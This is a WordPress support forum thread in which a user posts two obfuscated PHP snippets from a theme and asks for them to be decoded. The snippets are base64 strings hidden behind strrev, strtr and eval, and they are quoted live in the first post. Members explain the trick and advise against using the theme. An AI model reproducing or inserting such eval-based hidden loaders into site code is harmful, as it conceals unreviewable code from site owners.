WordPress.org

1. plz.help.me
   Member
   Posted 2 years ago #

   Yes, I have read the sticky on decoding themes, but it doesn't work for me.

   Can somebody decode this:
   <?php $_F=__FILE__;$_X='PzNhP21abTRjTW9fWk0wRU1uKCk7ND8zDWINYglhP21abTRjTW9fTE9FTUEwbigpOzQ/Mw1iCQ1iCWFFT3A0T0VmIkhTRG9NRG8iNEguMExMZiJIUy5KIEQiMw1iCQ1iCQlhP21abTRPdTQoNGNNb19TbW9PU0QoNCddU1NfQU9TJzQpNGEzNCIiNCk0SzQ/Mw1iCQlhRU9wNE9FZiJPRG9uUyIzDWIJCQ1iCQkJYW0zYT9tWm00TUhaUzRMb25PbUhMLjBMWk1MKDRjTW9fU21vT1NEKDQnXVNTX0FPUyc0KTQpOzQ/M2F5bTMNYgkJDWIJCWF5RU9wM2EhLS00eSNPRG9uUzQtLTMNYgkJYT9tWm00VDQ/Mw1iCQkNYgkJYUVPcDRPRWYiMG5vT0guTUwiMw1iCQkNYgkJCWE/bVptNE91NChaMHBNX21TTG9MKCkpNDo0JEhTSkRvNGY0ODs0PzMNYgkJCWE/bVptNF1aTy5NNChaMHBNX21TTG9MKCkpNDo0b1pNX21TTG8oKTs0JEhTSkRvKys7ND8zDWIJCQkNYgkJCQlhP21abTRPdSgkSFNKRG9mZnspSzQ/M2FFT3A0SC4wTExmIkFTPSIzYT9tWm00VDQ/Mw1iCQkJDWIJCQkJYUVPcDRILjBMTGYiT29NIDRhP21abTRPdSgkSFNKRG9mZnspSzRNSFpTNCcuTXVvJzs0VDRNLkxNNEs0TUhaUzQnbk9jWm8nOzRUND8zIjMNYgkJCQkNYgkJCQkJYVpzM2EwNFpuTXVmImE/bVptNG9aTV9tTW4gMC5PRFEoKTs0PzMiNG9Pby5NZiJhP21abTRvWk1fb09vLk0oKTs0PzMiNDNhP21abTRvWk1fb09vLk0oKTs0PzNheTAzYXlaczMNYgkJCQkJDWIJCQkJCWFtNEguMExMZiIgTW8wIjMNYgkJCQkJDWIJCQkJCQlhTG0wRDRILjBMTGYiRTBvTSIzYT9tWm00b1pNX29PIE0oJ3c0RScpOzQ/M2F5TG0wRDMNYgkJCQkJCWFMbTBENEguMExMZiJIUyAgTURvTCIzYT9tWm00SFMgIE1Eb0xfbVNtSm1fLk9EUShfXygnODQvUyAgTURvTCcsXVNTb1pNIE1MKSw0X18oJ3s0L1MgIE1EbycsXVNTb1pNIE1MKSw0X18oJyU0L1MgIE1Eb0wnLF1TU29aTSBNTCkpOzQ/M2F5TG0wRDMNYgkJCQkJDWIJCQkJCWF5bTNhIS0tNHlYIE1vMDQtLTMNYgkJCQkJDWIJCQkJCWFFT3A0SC4wTExmIk09SE1ubW8iMw1iCQkJCQkNYgkJCQkJCWE/bVptNF1TU19jTW9fTyAwY00oJ08gMGNNJyxjTW9fU21vT1NEKCddU1NfY01vX08gMGNNX11PRW9aJyksY01vX1Ntb09TRCgnXVNTX2NNb19PIDBjTV9aTU9jWm8nKSwnJyk7ND8zDWIJCQkJCQ1iCQkJCQkJYT9tWm00b1pNX009SE1ubW8oJycpOzQ/Mw1iCQkJCQkJDWIJCQkJCQlhbTRILjBMTGYiIFNuTS0uT0RRIjNhMDRabk11ZiJhP21abTRvWk1fbU1uIDAuT0RRKCk7ND8zIjRvT28uTWYiYT9tWm00b1pNX29Pby5NKCk7ND8zIjNhP21abTRfTSgnL1NEb09ESk00bk0wRU9EYycsXVNTb1pNIE1MKTs0PzNheTAzYXltMw1iCQkJCQkNYgkJCQkJYXlFT3AzYSEtLTR5WE09SE1ubW80LS0zDWIJCQkJDWIJCQkJYXlFT3AzYSEtLTR5WE9vTSA0LS0zDWIJCQkJDWIJCQkJYT9tWm00T3UoJEhTSkRvZmZzKUs0PzMNYgkJCQkJYUVPcDRILjBMTGYiSC5NMG4iM2F5RU9wMw1iCQkJCQlhRU9wNEguMExMZiJBU28iM2F5RU9wMw1iCQkJCQlheUVPcDNhIS0tNHlYQVM9NC0tMw1iCQkJCWE/bVptNCRIU0pEb2Y4OzRUND8zDWIJCQkNYgkJCWE/bVptNE1ERV1aTy5NOzRNREVPdTs0PzMNYg1iCQkJCWE/bVptNE91KCRIU0pEbzRmZjR7KUs/Mw1iCQkJCQlhRU9wNEguMExMZiJILk0wbiIzYXlFT3AzDWIJCQkJCWFFT3A0SC4wTExmIkFTbyIzYXlFT3AzDWIJCQkJCWF5RU9wM2EhLS00eVhBUz00LS0zDWIJCQkJYT9tWm00O1Q0PzMNYgkJCQkNYgkJCQlhP21abTRPdTQoNGNNb19TbW9PU0QoNCddU1NfbTBjT0Qwb00nNCk0ZmY0J29uSk0nNCk0SzQ/Mw1iDWIJCQkJYUVPcDRILjBMTGYibTBjTUQwcDRaUyBNIjMNYgkJCQkJYUVPcDRILjBMTGYibW5NcCIzYT9tWm00bW5NcE9TSkxfbVNMb0xfLk9EUShfXygndG5NcCcsXVNTb1pNIE1MKSk0PzNheUVPcDMNYgkJCQkJYUVPcDRILjBMTGYiRE09byIzYT9tWm00RE09b19tU0xvTF8uT0RRKF9fKCdGTT1vJyxdU1NvWk0gTUwpKTQ/M2F5RU9wMw1iNDQ0NDQ0NDQ0NDQ0CQlhRU9wNEguMExMZiJILk0wbiIzYXlFT3AzDWI0NDQ0NDQJCQlheUVPcDMNYjQ0NDQ0NAkJCQ1iNDQ0NDQ0CQkJYT9tWm00VDQ/MwkJDWIJCQ1iCQlheUVPcDNhIS0tNHkjMG5vT0guTUw0LS0zDWIJCQ1iCQlhRU9wNE9FZiJdT0VjTW9MIjMNYgkJDWIJCQlhRU9wNEguMExMZiIuTXVvIjMNYgkJCQ1iCQkJCWE/bVptNEU1RDAgT0hfTE9FTUEwbignWlMgTS0uTXVvJyk7ND8zDWIJCQkNYgkJCWF5RU9wM2EhLS00eVguTXVvNC0tMw1iCQkJDWIJCQlhRU9wNEguMExMZiJuT2NabyIzDWIJCQkNYgkJCQlhP21abTRFNUQwIE9IX0xPRU1BMG4oJ1pTIE0tbk9jWm8nKTs0PzMNYgkJCQ1iCQkJYXlFT3AzYSEtLTR5WG5PY1pvNC0tMw1iCQkJDWIJCQlhRU9wNEguMExMZiJILk0wbiIzYXlFT3AzDWIJCQkNYgkJCWFFT3A0SC4wTExmIkFTb29TICIzYXlFT3AzDWIJCQ1iCQlheUVPcDNhIS0tNHkjXU9FY01vTDQtLTMNYgkNYglheUVPcDNhIS0tNHkjSFNEb01EbzQtLTMNYgkJDWJhP21abTRjTW9fdVNTb01uKCk7ND8z';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdPL2JwdXcza002QjJ0eEQxLlJvWF1sVlkgPkpBRUdUZno3SwpRSD1qc31acVVjZTh2NW5tPFs5YTRpMENyV3tOZ2hkSUxQeVNGJywnaUMKdmZGPnplU0U3UDVucWxBdC53V0RPbUt1YmRVfT0zTXtSa2N4OTJKaExaZ1gwNnlycFFURzwgVmFqSUIxXVtZNDhzSC9vTicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

   and this?

   <?php $_F=__FILE__;$_X='P2kJQjlzYz4yV2VublMiMldNZXoiaUJoOXNjaQ1WCQ1WCUI5c2M+czlTIkFPTz1NeiJpDVYJDVYJCUJaaSYyT1pxOz5rYWFQPkJlPi56TUFTIkI/Wi5aPjxXT3hzSEFPKCdRelcnKTs+P2kiPj1zPVdNUyJCP1ouWj48V094c0hBTygnPXM9V00nKTs+P2kiaUI/Wi5aPjxXT3hzSEFPKCc9cz1XTScpOz4/aUJoZWk+LT5CP1ouWj48V094c0hBTygnOU1uMnpzWj1zT0gnKTs+P2lCPHo+aGkNVgkJRkg9c3BPMnNlVz49Lk1ZTT48cT5CZT4uek1BUyIuPT1aOmhofX19WH1abj1xV01uWE96eCI+PXM9V01TIntPT1QuTVlNbiJpe09PVC5NWU1uQmhlaUJoWmkNVgkJDVYJCUJlPi56TUFTIi49PVo6aGh9fX1YfVpuPXFNblhPengiPj1zPVdNUyJ7T3o5WnpNbm4+PS5NWU1uImlCc1l4Pm56MlMiQj9aLlo+PFdPeHNIQU8oJz1NWVpXZT1NXzlzek0yPU96cScpOz4/aWhzWWV4TW5oczJPSG5ofU9PPS5NWU1uWFpIeCI+ZVc9UyJ7Wm49cVdNblhPengiPmhpQmhlaQ1WCQkNVgkJQjlzYz4yV2VublMiMldNZXoiaUJoOXNjaQ1WCQkNVglCaDlzY2lCIS0tPmgjQU9PPU16Pi0taQ1WDVZCaDlzY2lCIS0tPmgjMk9IPWVzSE16Pi0taQ1WDVZCP1ouWj59Wl9BT089TXooKTs+P2kNVkI/Wi5aPnNBPig+eE09X09aPXNPSCgnfU9PX3hPT3hXTV9lSGVXcT1zMm4nKT5CaT4iIj4pPl0+TTIuTz5uPXpzWm5XZW4uTW4oeE09X09aPXNPSCgnfU9PX3hPT3hXTV9lSGVXcT1zMm4nKSk7Pmw+P2kNVkJoPE85cWkNVkJoLj1ZV2k=';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

2. uwiuw
   Member
   Posted 2 years ago #

   delete it. mostly, it's a malicious code.

3. huggie
   Member
   Posted 2 years ago #

   Where did you get the theme from?

4. ClaytonJames
   Member
   Posted 2 years ago #

   strrev('edoced_46esab');

   strrev outputs the string backwards. edoced_46esab = base64_decode

   Cool!

5. plz.help.me
   Member
   Posted 2 years ago #

   Interesting. Tricky. Creepy. Cool.

6. plz.help.me
   Member
   Posted 2 years ago #

   Still don't know how to decode it...

7. plz.help.me
   Member
   Posted 2 years ago #

   Comon'
   ANYONE! OTTO!?!?!

8. plz.help.me
   Member
   Posted 2 years ago #

   O M G

   I have tried everything.
   I have even followed his instructions.

   This is a community forum right?
   WHERE IS THE COMMunITY!?!?!?

9. jonimueller
   Member
   Posted 2 years ago #

   I wouldn't use a theme that has malicious code in it. Your question was already answered, a solution provided to you. Whether you heed the advice given is entirely up to you. But please stop with your ginormous sense of entitlement. This is a free forum; no one here is paid to be here or to help. Maybe people have paying work they need to do, maybe they're out on the town, asleep. Or here's one: Maybe they just don't feel like it. Sheesh.

10. ClaytonJames
    Member
    Posted 2 years ago #

    O M G

    I have tried everything.
    I have even followed his instructions.

    This is a community forum right?
    WHERE IS THE COMMunITY!?!?!?

    Indeed, this is a WordPress community. Obfuscated code seems to be something we all dislike, and there have been some great resources posted here to help see into that which has the potential to be doing harm to WordPress web sites. But, that being said, I don't think "breaking code", (to be polite), is a primary function of the WordPress forums. Sure, it's a lot of fun, but that one you have there involves a couple more steps than just running it through a decoder and copy/pasting the output.

    If you really, really, really, want to keep up the quest, post a download link to the theme. Break the link if you want, but just post a link to it, and identify the file in which you found the code. Maybe someone will take a look at it when they have a chance.

11. Samuel B
    moderator
    Posted 2 years ago #

    do not bump this topic
    if someone can or wants to help you they will

12. plz.help.me
    Member
    Posted 2 years ago #

    Yes, but they aren't going to find a post if it is a few pages back.

13. ClaytonJames
    Member
    Posted 2 years ago #

    @plz.help.me.

    17 hrs ago

    Where did you get the theme from?

    13 hrs ago

    post a download link to the theme. Break the link if you want, but just post a link to it

    So, please. Post the link or give the name of the darn theme already, so the complete code can be seen in context.

14. plz.help.me
    Member
    Posted 2 years ago #

    The name is Antisocial by Woo Themes.

15. ClaytonJames
    Member
    Posted 2 years ago #

    A) I did this for fun.

    B) I tested my results only long enough to say that the theme loaded, and looked Okay. Your mileage may vary.

    C) If you obtained this theme through a "share" site, I urge you not to use it at all. If you purchased a license from Woothemes, well... I guess obfuscated code in licensed versions appears to be part of their business model.
    
    revised index.php

    revised footer.php

16. Samuel B
    moderator
    Posted 2 years ago #

    I've done plenty of theme installs for folks with woo and they have never had obfuscated code - maybe just started

17. ClaytonJames
    Member
    Posted 2 years ago #

    I can't actually say if they do or not, but I can't recall ever having the issue either which is why I tried to carefully stress the "obtained through a share site" and "purchase a license" statements. I really sort of got the feeling that this one might have been a "shared" premium theme.

    Unfortunately, tact is not one of my stronger qualities!

    :-)

18. Samuel B
    moderator
    Posted 2 years ago #

    Unfortunately, tact is not one of my stronger qualities!

    I can get on board with that!

Topic Closed

This topic has been closed to new replies.